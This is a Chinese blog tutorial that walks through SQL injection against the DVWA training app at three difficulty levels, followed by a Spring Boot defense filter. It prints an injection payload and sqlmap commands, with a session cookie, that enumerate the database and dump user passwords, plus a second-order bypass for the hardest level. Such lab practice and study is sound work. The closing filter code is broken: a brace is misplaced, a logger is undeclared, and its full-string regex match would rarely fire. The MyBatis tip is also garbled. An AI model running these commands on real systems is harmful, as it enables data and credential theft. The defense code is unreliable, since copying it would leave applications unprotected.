DVWA-使用SqlMap进行SQL注入(全阶段)

准备

渗透工具:sqlmap、burpsuite、python2.7(用于运行sqlmap)、火狐浏览器、FoxyProxy火狐代理插件。
我这边直接安装的PentestBox,渗透工具及运行的环境就都全了,官网下载比较慢,这是百度云盘下载链接:链接:pan.baidu.com/s/1hMBUiVvN… 提取码:8ok5

攻击

一、low级别

使用1′ or ‘1’=’1测试是否存在注入点

图片.png
显然是存在的,直接使用sqlmap把链接输进去进行注入

图片.png

图片.png
通过sqlmap确认输入的链接存在基于布尔类型的盲注、基于错误的注入、时间注入攻击-时间盲注、union注入攻击。
现在就是直接使用以下命令拼接在上图命令后面。

1.--dbs 获取数据库
2.-D 数据库名 --tables 获取库中所有表
3.-D 数据库名 -T 表名 --columns 获取表中所有字段
4.-D 数据库名 -T 表名 -C "字段,字段" --dump 获取表字段对应的数据
复制代码

执行效果分别如下图所示

python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" --dbs
复制代码

图片.png

python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa --tables
复制代码

图片.png

 python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa -T users --columns
复制代码

图片.png

 python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa -T users -C "user,password" --dump
复制代码

图片.png
成功获取用户名和对应的密码

二、medium级别

图片.png
中级难度前端页面设置了下拉选择表单,希望以此来控制用户的输入,此时我们使用burpsuite拦截请求包,修改内容后再发送给服务器。
启动burpsuite,使用FoxyProxy将请求转发到本地8080端口,点击提交按钮

图片.png
尝试字符型注入失败后改用数字型注入,成功注入

图片.png
将请求包中的内容保存在txt文件中,sqlmap会直接针对请求包中的内容进行注入测试

图片.png

python .\sqlmap.py -r .\dvwa_medium.txt
复制代码

图片.png
判断出存在基于布尔类型的盲注
后续步骤和low级别相同,唯一不同的地方是,low级别的数据库、表单等数据都是通过直接查询获取的,medium级别是通过盲注猜解获取的,人为盲注效率较慢,sqlmap的盲注要快得多,盲注的体现就是数据库名、表名等信息是一个字符一个字符挨个显示的。

三、high级别

high级别的查询提交页面与查询结果显示页面不是同一个,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。但是我们可以使用–second-order+查询结果显示页面链接,无视这种防御措施。

--second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
复制代码

使用burpsuite拦截high级别提交请求,保存为txt文件,使用下面命令发起sql注入攻击

python .\sqlmap.py -r .\dvwa_high.txt  --second-order "http://192.168.199.177/dvwa/vulnerabilities/sqli/"
复制代码

图片.png
成功检测出有基于布尔类型的盲注,后续步骤和medium级别的相同,再不赘述。

防御

因为我是做后端开发的,而且常用Spring Boot框架,所以针对Spring项目写下防范措施,不过原理相同,其他后端框架应该也适用。

  • 慎用,多用#,mybatis不会对参数进行拦截
  • 使用Filter过滤器,Filter负责检查用户请求,根据请求过滤用户非法请求。
/**
* sql注入过滤器
*/
@Component
@WebFilter(urlPatterns = "/*", filterName = "SQLInjection", initParams = { @WebInitParam(name = "regx", value = "(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|" +
"(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)") })
public class SqlInjectFilter implements Filter{

  private String regx;

  @Override

  public void init(FilterConfig filterConfig) throws ServletException {

    this.regx = filterConfig.getInitParameter("regx");

  }
  @Override

  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

    HttpServletRequest req = (HttpServletRequest) servletRequest;

    Map parametersMap = servletRequest.getParameterMap();

    Iterator it = parametersMap.entrySet().iterator();

    while (it.hasNext()) {

      Map.Entry entry = (Map.Entry) it.next();

      String[] value = (String[]) entry.getValue();

      for (int i = 0; i < value.length; i++) {

        if (null != value[i] && value[i].matches(this.regx)) {

          log.error("您输入的参数有非法字符,请输入正确的参数!");

          servletRequest.setAttribute("err", "您输入的参数有非法字符,请输入正确的参数!");

          servletRequest.setAttribute("pageUrl",req.getRequestURI());

          servletRequest.getRequestDispatcher(servletRequest.getServletContext().getContextPath() + "/error").forward(servletRequest, servletResponse);

          return;
        }
      }
    }
  }
  filterChain.doFilter(servletRequest, servletResponse);

 }

  @Override
  public void destroy() {

  }
}
复制代码
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享